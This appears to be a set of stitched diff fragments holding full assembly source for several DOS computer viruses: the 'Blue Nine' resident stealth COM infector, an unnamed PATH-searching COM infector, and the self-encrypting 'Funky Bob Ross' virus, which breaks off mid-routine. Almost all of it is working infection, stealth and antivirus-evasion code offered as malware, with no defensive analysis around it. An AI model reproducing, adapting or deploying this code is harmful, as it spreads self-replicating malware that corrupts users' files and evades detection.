TOP :02EA 0000 ADD [BX+SI],AL
TOP :02EC 0000 ADD [BX+SI],AL
TOP :02EE 0000 ADD [BX+SI],AL
TOP :02F0 0000 ADD [BX+SI],AL
TOP :02F2 0000 ADD [BX+SI],AL
TOP :02F4 0000 ADD [BX+SI],AL
TOP :02F6 0000 ADD [BX+SI],AL
TOP :02F8 0000 ADD [BX+SI],AL
TOP :02FA 0000 ADD [BX+SI],AL
TOP :02FC 0000 ADD [BX+SI],AL
TOP :02FE 55 PUSH BP
TOP :02FF AA STOSB
@@ -0,0 +1,576 @@
; The Blue Nine virus... (c) 94 Conzouler
; Resident in conventional memory
; Com infection on load and execute
; Com infection on 11/12 (dir for short - TU)
; Size stealth on 11/12
; Size stealth on 4E/4F
; Infection check: seconds=4
; Installation check: get dos version with cx=666
; Redirection stealth on 3D/3F
; No TBScan flags (by hard heuristic as per version 6.26 - TU)
.model tiny
.code
org 100h
parasize equ ((offset virend - offset start) / 10h) + 1
bytesize equ parasize*10h
Start:
db 0E9h ; Near jmp to ResCheck
dw 03h
HostStartO db 0CDh ; Buffer to save hosthead
HostStartA dw 09020h ; int20 + nop
ResCheck:
push ax
; Perform installation check
mov ah, 30h
mov cx, 666
int 21h ; Dos would set cx to 0
cmp cx, 444 ; but virus will set to 444
je RestoreHost ; if resident
cmp al, 03h ; Don't go resident
jb RestoreHost ; If dosver less than 3.00
Install:
; Code to place virus in memory
mov bx, es ; Dec es to get MCB
dec bx
mov es, bx
mov bx, es:[3] ; Get size of MB and dec it
push cs
pop es
sub bx, parasize+2
mov ah, 4Ah
int 21h
mov ah, 48h ; Allocate MB to virus
mov bx, parasize+1
int 21h
dec ax ; Put MCB in es:0
mov es, ax
mov word ptr es:[1], 08 ; Change owner to system
push word ptr ds:[101h] ; Get delta offset
pop si
add si, 103h ; Get jmp pos
mov di, 16h ; Move virus to new block
mov cx, bytesize-6
rep movsb
sub ax, 0Fh ; Jmp to new block
push ax
mov ax, offset InstVec
push ax
retf
Org21:
db 0EAh ; Far abs jmp
o21 label
Org21ofs dw ?
Org21seg dw ?
InstVec:
; Code to install virus in vector21
mov ax, 3521h ; Save org21
int 21h
mov cs:Org21ofs, bx
mov bx, es
mov cs:Org21seg, bx
mov ax, 2125h ; Set Vector21
xchg ah, al
push ds
push cs
pop ds
mov dx, offset Vector21
int 21h
pop ds
RestoreHost:
mov si, ds:[101h] ; Get addr from jmp opc
add si, 100h ; addr to hoststarto
mov ah, ds:[si] ; Restore hosthead
mov ds:[100h], ah
inc si
mov ax, ds:[si]
mov ds:[101h], ax
pop ax
push ds ; Set es to host cs
pop es
push ds ; Save host address
mov bx, 100h
push bx
retf
icheck: ; Installation check
cmp cx, 666
jne Org21
mov cx, 444
retf 2
Vector21:
cmp ah, 30h ; Installation check?
jne chn1
jmp icheck
chn1: cmp ax, 4B00h ; Load and execute?
jne chn2
call cominfect
chn2: cmp ah, 11h ; find first/next (fcb)?
je fff
cmp ah, 12h
jne chn3
fff: call dos
cmp al, 0FFh
je chn3
jmp fcbsearch
chn3: cmp ah, 4Eh ; find first handle?
jne chn4
call dos
jnc found
retf 2
chn4: cmp ah, 4Fh ; find next handle?
jne chn5
call dos
jnc found
retf 2
found: jmp hdlsearch
chn5: cmp ah, 3Dh ; open handle?
jne chn6
call dos
jnc opened
retf 2
opened: jmp hdlopen
chn6: cmp ah, 3Fh ; read from handle
jne chnx
jmp hdlread
chnx: jmp Org21 ; Chain to dos
db ' úù- Blue Nine Virus by Conzouler 1994 -ùú '
cominfect proc
push ax
push bx
push cx
push dx
push ds
mov ax, 3d82h
call dos
jc ciexit
mov bx, ax
call appendcom
ciexit:
pop ds
pop dx
pop cx
pop bx
pop ax
ret
cominfect endp
appendcom proc
; infects the file handle in bx
mov ax, 5700h ; Get date time
call dos
and cx, 0FFE0h ; Mask seconds
or cx, 02h ; Set to 4
push cx ; Store date time
push dx
push cs ; Read head
pop ds
mov dx, offset HostStartO
mov ah, 3Fh
mov cx, 03
call dos
push word ptr HostStartO
pop dx
xchg dh, dl
cmp dx, 'MZ' ;Check if .exe
je apcomexit
mov dx, HostStartA ; Infection check
add dx, 3 ; Seek to jmp loc
xor cx, cx
mov ax, 4200h
call Dos
mov ah, 3Fh ; Read 2 bytes
mov cx, 2h
mov dx, offset Start
call dos
mov ax, 0b450h
cmp word ptr Start, ax ; infected?
je apcomexit
mov al, 02h ; Goto eof
call fseek
mov byte ptr ds:[100h], 0E9h; Assemble jmp
mov ds:[101h], ax ; jmp to eof + 3
mov dx, offset HostStartO ; Append virus
mov ah, 40h xor 66
xor ah, 66
mov cx, bytesize-3
call dos
mov al, 00h ; Goto start
call fseek
mov ah, 40h xor 66 ; Write jmp
xor ah, 66
mov dx, 100h
mov cx, 3
call dos
apcomexit:
pop dx ; Set date
pop cx
mov ax, 5701h
call dos
mov ah, 3Eh ; Close file
call dos
ret
appendcom endp
fcbsearch:
; called after successful find first/next on fcb
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
call getdta
lodsb ; extended fcb?
cmp al, 0FFh
jne normfcb
add si, 7
normfcb:
mov di, si
add si, 8 ; to extension
lodsw
cmp ax, 'OC' ; is almost com?
jne fcbnocom
lodsb
cmp al, 'M' ; is definitely com?
jne fcbnocom
add si, 0Bh ; Get time stamp
lodsb
and al, 1Fh ; Mask seconds
cmp al, 2 ; infected?
jne fcbnotinfc
add si, 5 ; size-stealth
sub ds:[si], bytesize-3
jmp fcbexit
fcbnotinfc: ; infect file
in al, 41h ; Get timer (rnd)
and al, 03h
cmp al, 03h
jne fcbexit ; Good guy today?
push cs ; Convert to asciz
pop es
mov si, di
mov di, offset virend
push di
mov cx, 8
loop3: lodsb
cmp al, ' '
je loopx
stosb
loop loop3
loopx: mov ax, 'C.'
stosw
mov ax, 'MO'
stosw
mov al, 0
stosb
pop dx
push es
pop ds
mov ax, 3D82h
call dos
jc fcbexit
mov bx, ax
call appendcom
fcbnocom:
fcbexit:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
retf 2 ; Back to caller
hdlsearch:
; Called on successful find first/next on handle
pushf
push ax
push cx
push si
push di
push ds
push es
call getdta ; dta to es:si and ds:si
mov di, si
add di, 1Eh ; di to name
mov cx, 9
mov al, '.'
repne scasb ; scan for extension
jne hdlexit
xchg si, di
lodsw
cmp ax, 'OC' ; check if com?
jne hdlexit
lodsb
cmp al, 'M' ; is com?
jne hdlexit
xchg si, di ; check date
add si, 16h ; si to time
lodsb
and al, 1Fh ; mask seconds
cmp al, 02h ; seconds=4?
jne hdlexit
sub word ptr [si+3], bytesize-3 ; Size stealth
hdlexit:
pop es
pop ds
pop di
pop si
pop cx
pop ax
popf
retf 2
hdlopen:
; called after successful file open
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov bx, ax ; Get sft number
call getsft ; sft to ds:si and es:di
jc hoexit
add si, 28h ; extension to ds:si
lodsw
cmp ax, 'OC' ; is com?
jne hoexit
lodsb
cmp al, 'M' ; sure?
jne hoexit
sub si, 1Eh ; check time
lodsw
and al, 1Fh ; mask seconds
cmp al, 02h ; infected?
jne hoexit
add di, 05h ; Mark infection in sft
or word ptr [di], 4000h
add di, 0Ch ; Change size in sft
mov dx, [di]
sub dx, bytesize-3
xor cx, cx
mov ax, 4200h
call dos
mov ah, 3Fh ; Load header
mov dx, si
sub dx, 02h
mov cx, 3
call dos
mov al, 0
call fseek
mov byte ptr [si+1], 31
sub word ptr [di], bytesize-3
hoexit: pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
retf 2
hdlread:
; called before a read from handle (3F)
push si
push di
push es
push cx
push dx
push ds
call getsft ; check if marked in sft
jc hrnoti
add si, 05h
lodsw
and ah, 40h
cmp ah, 40h ; redirect?
jne hrnoti
cmp byte ptr [si+9], 31 ; redirect?
jne hrnoti
mov ax, [si+0Eh] ; Get offset and
cmp ax, 02h ; redirect only if it is
ja hrnoti ; in the first 3 bytes of file
mov cx, 3 ; See how many bytes to redir
sub cx, ax
add si, 6 ; offset to time/date field
pop es ; es to buffer
push cx ; save redir count
mov di, dx
rep movsb ; move header to buffer
mov ax, 4201h ; Skip 3 bytes
xor cx, cx
pop dx
push dx
call dos
pop di
pop dx
pop cx
push dx
add dx, di
sub cx, di
push es
pop ds
mov ah, 3Fh
call dos
add ax, di
pop dx
pop es
pop di
pop si
retf 2
hrnoti: pop ds ; perform normal read
pop dx
pop cx
pop es
pop di
pop si
mov ah, 3Fh
call dos
retf 2
getdta proc
push bx
mov ah, 2Fh ; Get dta
call dos
push es ; ds:si to dta
pop ds
mov si, bx
pop bx
getdta endp
fseek proc
mov ah, 42h
xor cx, cx
xor dx, dx
call dos
ret
fseek endp
getsft proc
push bx
mov ax, 1220h xor 666
xor ax, 666
int 2Fh
jc gsftexit
cmp byte ptr es:[di], 0FFh ; Invalid handle?
je gsftexit
xor bx, bx ; Get sft address
mov bl, es:[di] ; sft to bx
mov ax, 1216h xor 666
xor ax, 666
int 2Fh
jc gsftexit ; ok?
push es
pop ds
mov si, di ; sft-address to ds:si
pop bx
clc
ret
gsftexit:
pop bx
stc
ret
getsft endp
dos proc
pushf
call dword ptr cs:o21
ret
dos endp
virend:
end start
+247
View File
@@ -0,0 +1,247 @@
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
VCODE: JMP virus
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
; The 2nd and 3rd bytes get modified.
CLD ;Pointers will be auto INcremented
MOV SI,DX ;Access data as offset from SI
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
MOV CX,3
REPZ MOVSB ;Restore original first 3 bytes of .COM
MOV SI,DX ;Keep SI pointing to the data area
PUSH ES
MOV AH,2FH
INT 21H
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES ;Save the DTA address
POP ES
MOV DX,dta ;Offset of new DTA in virus data area
ADD DX,SI ;Compute DTA address
MOV AH,1AH
INT 21H ;Set new DTA to inside our own code
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0 ;ES:DI points to environment
find_path:
POP SI
PUSH SI ;Get SI back
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
REPNZ SCASB ;Search for first character
MOV CX,4
check_next_4:
LODSB
SCASB
JNZ find_path ;If not all there, abort & start over
LOOP check_next_4 ;Loop to check the next character
POP SI
POP ES
MOV [SI+path_ad],DI ;Save the address of the PATH
MOV DI,SI
ADD DI,wrk_spc ;File name workspace
MOV BX,SI ;Save a copy of SI
ADD SI,wrk_spc ;Point SI to workspace
MOV DI,SI ;Point DI to workspace
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
JNZ found_subdir ;If not, there are more subdirectories
JMP all_done ;Else, we're all done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;Pointer to virus data area
POP DS ;Restore DS
MOV [BX+path_ad],SI ;Address of next subdirectory
CMP CH,'\' ;Ends with "\"?
JZ slash_ok ;If yes
MOV AL,'\' ;Add one, if not
STOSB
slash_ok:
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
MOV SI,BX ;Restore SI
ADD SI,f_spec ;Point to "*.COM"
MOV CX,6
REPZ MOVSB ;Move "*.COM",0 to workspace
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX points to "*.COM" in workspace
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
JMP SHORT find_first
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1FH ;Mask to remove all but seconds
CMP AL,1FH ;62 seconds -> already infected
JZ find_next ;If so, go find another file
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr] ;DI points to file name
PUSH SI ;Save SI
ADD SI,dta_nam ;Point SI to file name
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars ;Move characters until we find a 00
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc ;Point to \path\name in workspace
ADD DX,SI
INT 21H
MOV [SI+old_att],CX ;Save the old attributes
MOV AX,OFFSET 4301H ;Set attributes
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
MOV DX,wrk_spc ;Offset of \path\name in workspace
ADD DX,SI ;Point to \path\name
INT 21H
MOV AX,OFFSET 3D02H ;Read/Write
MOV DX,wrk_spc ;Offset to \path\name in workspace
ADD DX,SI ;Point to \path\name
INT 21H
JNB opened_ok ;If file was opened OK
JMP fix_attr ;If it failed, restore the attributes
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
MOV CX,AX ;DX:AX (long int) = file size
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
ADD CX,OFFSET c_len_y
MOV DI,SI ;Point DI to virus data area
SUB DI,OFFSET c_len_x
;Point DI to reference vir_dat, at start of pgm
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
MOV AH,40H
MOV_CX virlen ;Length of virus, in bytes
MOV DX,SI
SUB DX,OFFSET codelen ;Length of virus code, gives starting
; address of virus code in memory
INT 21H
CMP AX,OFFSET virlen ;All bytes written?
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
MOV AH,40H
MOV CX,3
MOV DX,SI ;Virus data area
ADD DX,jmp_op ;Point to the reconstructed JMP
INT 21H
MOV AH,3EH
INT 21H
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att] ;Old Attributes
MOV DX,wrk_spc
ADD DX,SI ;DX points to \path\name in workspace
INT 21H
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
quit:
POP CX
XOR AX,AX
XOR BX,BX
XOR DX,DX
XOR SI,SI
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH
vir_dat EQU $
olddta_ DW 0 ;Old DTA offset
olddts_ DW 0 ;Old DTA segment
oldtim_ DW 0 ;Old Time
oldate_ DW 0 ;Old date
oldatt_ DW 0 ;Old file attributes
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H ;Start of JMP instruction
jmpdsp_ DW 0 ;The displacement part
fspec_ DB '*.COM',0
pathad_ DW 0 ;Path address
namptr_ DW 0 ;Pointer to start of file name
envstr_ DB 'PATH=' ;Find this in the environment
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0) ;Temporary DTA goes here
dtatim_ DW 0,0 ;Time stamp in DTA
dtalen_ DW 0,0 ;File length in the DTA
dtanam_ DB 0Dh dup (0) ;File name in the DTA
reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
lst_byt EQU $ ;All lines that assemble into code are
; above this one
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
codelen = vir_dat - v_start ;Length of virus code, only
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
old_att = oldatt_ - vir_dat ;Displacement to old attributes
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
path_ad = pathad_ - vir_dat ;Displacement to the path address
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
dta = dta_ - vir_dat ;Displacement to the temporary DTA
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code
CODE ENDS
END VCODE
@@ -0,0 +1,565 @@
; The Funky Bob Ross Virus Version 1.0
; Written by Dark Angel / 26 September 1991 / (c) 1991
; PHALCON/SKISM Co-op
; Effective length: 1125, Resident length: 672 bytes
;
; DEDICATION:
; This virus was written expressedly to
; 1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the
; other guru-wanna-bes in this world.
; 2) Spread the message of The Almighty Bob, and so enrichen the lives
; of people all over the world.
; 3) Show off (Now I can tell people that I wrote a virus!)
;
; WHAT THIS IS:
; This is a self-encrypting, non-overwriting COM infector. It doesn't do
; anything to EXE files. File sizes increase by 1117 bytes. It goes off
; on July 9th of any year or after 7 infection "waves."
;
; WHAT IT DOES WHEN IT GOES OFF:
; The virus goes memory resident and prints out a Bobism every 5 minutes.
; It then enters a delay loop for approximately 5 seconds, allowing for a
; brief moment of silence while the victim reads Bob's holy message. The
; virus will not destroy anything. The virus will not go TSR if it finds
; another copy of itself in memory.
;
; CAUTION: THIS IS DESTRUCTIVE CODE. YOU SHOULD NOT EVEN BE LOOKING AT IT.
; I HAVE NEVER AND WILL NEVER RELEASE THIS CODE. IF YOU SHOULD BE
; LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME. YOU HAVE NO
; RIGHT TO LOOK AT THIS CODE. IF THIS SOURCE SHOULD FALL INTO THE
; WRONG HANDS, IT COULD BE VERY BAD! DESTROY THIS IMMEDIATELY. I
; HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
; THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!
CODE SEGMENT PUBLIC 'CODE'
ORG 100h
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
DTA_fileattr EQU 21
DTA_filetime EQU 22
DTA_filedate EQU 24
DTA_filesize EQU 26
DTA_filename EQU 30
virus_marker equ 026FFh ; JMP WORD PTR
virus_marker2 equ 00104h ; 0104h
part1_size equ part1_end - part1_start
part2_size equ part2_end - part2_start
offset_off equ duh2
init_delay equ 5280 ; Initial delay
delay equ 400 ; Subsequent delay
num_Messages equ 7 ; Number of Bob messages
waves equ 7 ; Number of waves to go off after
infec_date equ 0709h ; Date of psychosis
Counter equ 108h
D_Mess equ 110h
Int_08_Start equ 112h
part1_start:
jmp word ptr duh
duh dw middle_part_end - part1_start + 100h
duh2 dw 0
part1_end:
middle_part_start:
middle_part_end:
;=============================================================================
;Part 2 begins: Dis is the D-Cool part
;=============================================================================
part2_start:
cld
call decrypt
mov si, offset Go
add si, offset_off
jmp si
encrypt_val db 00h
decrypt:
encrypt:
mov si, offset encrypt_val
add si, offset_off
mov ah, byte ptr [si]
mov cx, offset part2_end - offset bam_bam
add si, offset bam_bam - offset encrypt_val
mov di, si
xor_loop:
lodsb ; DS:[SI] -> AL
xor al, ah
stosb
loop xor_loop
ret
copy_rest_stuff:
; Mah copying routine
push si ; SI -> buffer3
call encrypt
mov cx, part2_size
pop dx
add dx, offset part2_start - offset buffer3
mov ah, 40h
int 21h
call decrypt
bam_bam:
ret
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
buffer2 db part1_end - part1_start dup (?)
buffer3 dw ?
orig_path db 64 dup (?)
num_infec db 0 ; Infection wave number
infec_now db 0 ; Number files infected this time
root_dir db '\',0
com_mask db '*.com',0
dir_mask db '*.*',0
back_dir db '..',0
nest dw 0
DTA db 43 DUP (0) ; For use by infect_dir
Go:
add si, offset buffer - offset Go
mov di, si
add di, offset buffer2 - offset buffer
mov cx, part1_size
rep movsb
mov ah, 47h ; Get directory
xor dl,dl ; Default drive
add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
int 21h ; in orig_path
jc Go_Error
mov ah, 3Bh ; Change directory
mov dx, si ; to the root dir
add dx, offset root_dir - offset orig_path
int 21h
jc Go_Error
add si, offset num_infec - offset orig_path
inc byte ptr [si] ; New infection wave
push si ; Save offset num_infec
add si, offset infec_now - offset num_infec
mov byte ptr [si], 3 ; Reset infection
; counter to 3
; for D-new run.
call traverse_fcn ; Do all the work
pop si ; Restore offset num_infec
cmp byte ptr [si], waves ; 10 infection waves?
jge Go_Psycho ; If so, activate
mov ah, 2Ah ; Get date
int 21h
cmp dx, infec_date ; Is it 07/09?
jz Go_Psycho ; If so, activate
Go_Error:
jmp quit ; And then quit
Go_Psycho:
jmp Psycho
origattr db 0
origtime dw 0
origdate dw 0
filesize dw 0 ; Size of the uninfected file
oldhandle dw 0
;=============================================================================
;D-Traversal function begins
;=============================================================================
traverse_fcn proc near
push bp ; Create stack frame
mov bp,sp
sub sp,44 ; Allocate space for DTA
push si
jmp infect_directory
In_fcn:
mov ah,1Ah ;Set DTA
lea dx,word ptr [bp-44] ; to space allotted
int 21h ;Do it now, do it hard!
mov ah, 4Eh ;Find first
mov cx,16 ;Directory mask
mov dx,offset dir_mask ; *.*
add dx,offset_off
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
je short donext ; If so, loop again
lea dx,word ptr [bp-14] ;else load dirname
mov ah,3Bh ; and changedir there
int 21h ;Yup, yup
jc short donext ; Do next if invalid
mov si, offset nest ; Else increment nest
add si, offset_off
inc word ptr [si] ; nest++
call near ptr traverse_fcn ; recurse directory
donext:
lea dx,word ptr [bp-44] ;Load space allocated for DTA address
mov ah,1Ah ; and set DTA to it
int 21h ; 'cause it might have changed
mov ah,4Fh ;Find next
int 21h
isdirok:
jnc gonow ;If OK, jmp elsewhere
mov si, offset nest
add si, offset_off
cmp word ptr [si], 0 ;If root directory (nest == 0)
jle short cleanup ; Quit
dec word ptr [si] ;Else decrement nest
mov dx,offset back_dir ;'..'
add dx, offset_off
mov ah,3Bh ;Change directory
int 21h ; to previous one
cleanup:
pop si
mov sp,bp
pop bp
ret
traverse_fcn endp
;=============================================================================
;D-Traversal function ends
;=============================================================================
Goto_Error:
jmp Error
enuff_for_now:
;Set nest to nil
mov si, offset nest ; in order to
add si, offset_off ; halt the D-Cool
mov word ptr [si], 0 ; traversal fcn
jmp short cleanup
return_to_fcn:
jmp short In_fcn ;Return to traversal function
infect_directory:
mov ah, 1Ah ;Set DTA
mov dx, offset DTA ; to DTA struct
add dx, offset_off
int 21h
find_first_COM:
mov ah, 04Eh ; Find first file
mov cx, 0007h ; Any file
mov dx, offset com_mask ; DS:[DX] --> filemask
add dx, offset_off
int 21h ; Fill DTA (hopefully)
jc return_to_fcn ; <Sigh> Error #E421:0.1
jmp check_if_COM_infected ; I<___-Cool! Found one!
find_next_file2:
mov si, offset infec_now ; Another loop,
add si, offset_off ; Another infection
dec byte ptr [si] ; Infected three?
jz enuff_for_now ; If so, exit
find_next_file:
mov ah,4Fh ; Find next
int 21h
jc return_to_fcn
check_if_COM_infected:
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
add si, offset_off
cmp byte ptr [si], 'D' ; ??????D.COM?
jz find_next_file ; don't kill COMMAND.COM
mov ax,3D00h ; Open channel read ONLY
mov dx, si ; Offset Pathname in DX
sub dx, 6
int 21h ; Open NOW!
jc find_next_file ; If error, find another
xchg bx,ax ; bx is now handle
mov ah,3Fh ; Save
mov cx, part1_size ; first part
mov dx, offset buffer ; to buffer
add dx, offset_off ; to be restored
push dx
int 21h ; later
pop si ; Check for virus ID bytes
; in the buffer
push si
lodsw ; DS:[SI] -> AX
cmp ax, virus_marker ; Compare it
jnz infect_it ; infect it if ID #1 not found
lodsw ; Check next two bytes
cmp ax, virus_marker2 ; Compare it
jnz infect_it ; infect if ID #2 not found
pop si
bomb_out:
mov ah, 3Eh ; else close the file
int 21h ; and go find another
jmp find_next_file ; 'cuz it's already infected
Signature db 'PHALCON'
;=============================================================================
;D-Good Stuff - Infection routine
;=============================================================================
infect_it:
; save fileattr
pop si
add si, offset DTA + DTA_fileattr - offset buffer
mov di, si
add di, offset origattr - offset DTA - DTA_fileattr
movsb ; DS:[SI] -> ES:[DI]
movsw ; Save origtime
movsw ; Save origdate
movsw ; Save filesize
; Only need LSW
; because COM files
; can only be up to
; 65535 bytes long
cmp word ptr [si - 2], part1_size
jl bomb_out ; is less than 8 bytes.
do_again:
mov ah, 2Ch ; get time
int 21h
add dl, dh ; 1/100 sec + 1 sec
jz do_again ; Don't want orig strain!
mov si, offset encrypt_val
add si, offset_off
mov byte ptr [si], dl ; 255 mutations
mov ax, 4301h ; Set file attributes
xor cx, cx ; to nothing
mov dx, si ; filename in DTA
add dx, offset DTA + DTA_filename - offset encrypt_val
int 21h ; do it now, my child
mov ah, 3Eh ; Close file
int 21h ; handle in BX
mov ax, 3D02h ; Open file read/write
int 21h ; Filename offset in DX
jc bomb_out ; Damn! Probs
mov di, dx
add di, offset oldhandle - offset DTA - DTA_filename
; copy filehandle to
; oldhandle
stosw ; AX -> ES:[DI]
xchg ax, bx ; file handle in BX now
mov ah, 40h ; Write DS:[DX]->file
mov cx, part1_size - 4 ; number of bytes
mov dx, 0100h ; where code starts
int 21h ; (in memory)
mov ah, 40h
mov si, di ; mov si, offset filesize
add si, offset filesize - 2 - offset oldhandle
add word ptr [si], 0100h
mov cx, 2
mov dx, si
int 21h ; write jmp offset
mov ax, [si] ; AX = filesize
sub ax, 0108h
add si, offset buffer3 - offset filesize
push si
mov word ptr [si], ax
mov ah, 40h
mov cx, 2
mov dx, si
int 21h
mov ax, 4202h ; move file ptr
xor cx, cx ; from EOF
xor dx, dx ; offset cx:dx
int 21h
call copy_rest_stuff
pop si
add si, offset oldhandle - offset buffer3
mov bx, word ptr [si]
mov ax, 5701h ; Restore
add si, offset origtime - offset oldhandle
mov cx, word ptr [si] ; old time and
add si, 2
mov dx, word ptr [si] ; date
int 21h
mov ah, 3Eh ; Close file
int 21h
mov ax, 4301h ; Restore file
xor ch, ch
add si, offset origattr - offset origtime - 2
mov cl, byte ptr [si] ; attributes
mov dx, si ; filename in DTA
add dx, offset DTA + DTA_filename - offset origattr
int 21h ; do it now
jmp find_next_file2
GotoError:
jmp error
Psycho:
; Check if already installed
push es
mov byte ptr cs:[100h],0 ; Initialize fingerprint
xor bx, bx ; Zero BX for start
mov ax, cs
Init1: inc bx ; Increment search segment
mov es, bx ; value
cmp ax, bx ; Not installed if we reach
je Not_Installed_Yet ; the current segment
mov si, 100h ; Search segment for
mov di, si ; fingerprint in first
mov cx, 4 ; four bytes
repe cmpsb ; Compare
jne init1 ; If not equal, try another
jmp Quit_Init ; else already installed
Not_Installed_Yet:
pop es
mov word ptr cs:[Counter], init_delay
mov word ptr cs:[D_Mess], 1
; Copy interrupt handler to beginning of code
mov si, offset _int_08_handler
add si, offset_off
mov di, Int_08_Start
mov cx, int_end - int_start
rep movsb ; DS:[SI]->ES:[DI]
mov ax, 3508h ; Get int 8 handler
int 21h ; put in ES:BX
mov cs:[duh], bx ; Save old handler
mov cs:[duh+2], es ; in cs:[104h]
mov ax, 2508h ; Install new handler
mov dx, Int_08_Start ; from DS:DX
int 21h ; Do it
push es
mov ax, ds:[2Ch] ; Deallocate program
mov es, ax ; environment block
mov ah, 49h
int 21h
pop es
mov ax, 3100h ; TSR
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
int 21h
int 20h ; In case of error
Quit_Init:
pop es
Error: ; On error, quit
Quit:
mov ah, 3Bh ; Change directory
mov dx, offset root_dir ; to the root dir
add dx, offset_off
int 21h
mov ah,3Bh ; Change directory
; Return to orig dir
add dx, offset orig_path - offset root_dir
int 21h
; Copy buffer back to beginning of file
mov si, dx
add si, offset buffer2 - offset orig_path
mov di, 0100h
mov cx, part1_end - part1_start
rep movsb
mov di, 0100h
jmp di
int_start:
_int_08_handler proc far
push ax
push bx
push cx
push dx
push si
push ds
push es
pushf
dec word ptr CS:[Counter] ; Counter
jnz QuitNow
;ACTIVATION!!!
mov word ptr CS:[Counter], delay ; Reset counter
; Set up DS & ES to equal CS
push cs
pop ds
push cs
pop es
mov si, offset Messages - offset int_start + int_08_start
mov cx, cs:D_Mess
xor ah, ah
LoopY_ThingY:
lodsb ; DS:SI -> AL
add si, ax ; ES:BP -> Next message to display
loop LoopY_ThingY
lodsb
xchg si, bp
xor cx, cx
mov cl, al ; Length of string
mov ax, 1300h ;
mov bx, 0070h ; Page 0, inverse video
xor dx, dx ; (0,0)
int 10h ; Display ES:BP
inc word ptr cs:[D_Mess]
cmp word ptr cs:[D_Mess], num_messages
jnz Sigh
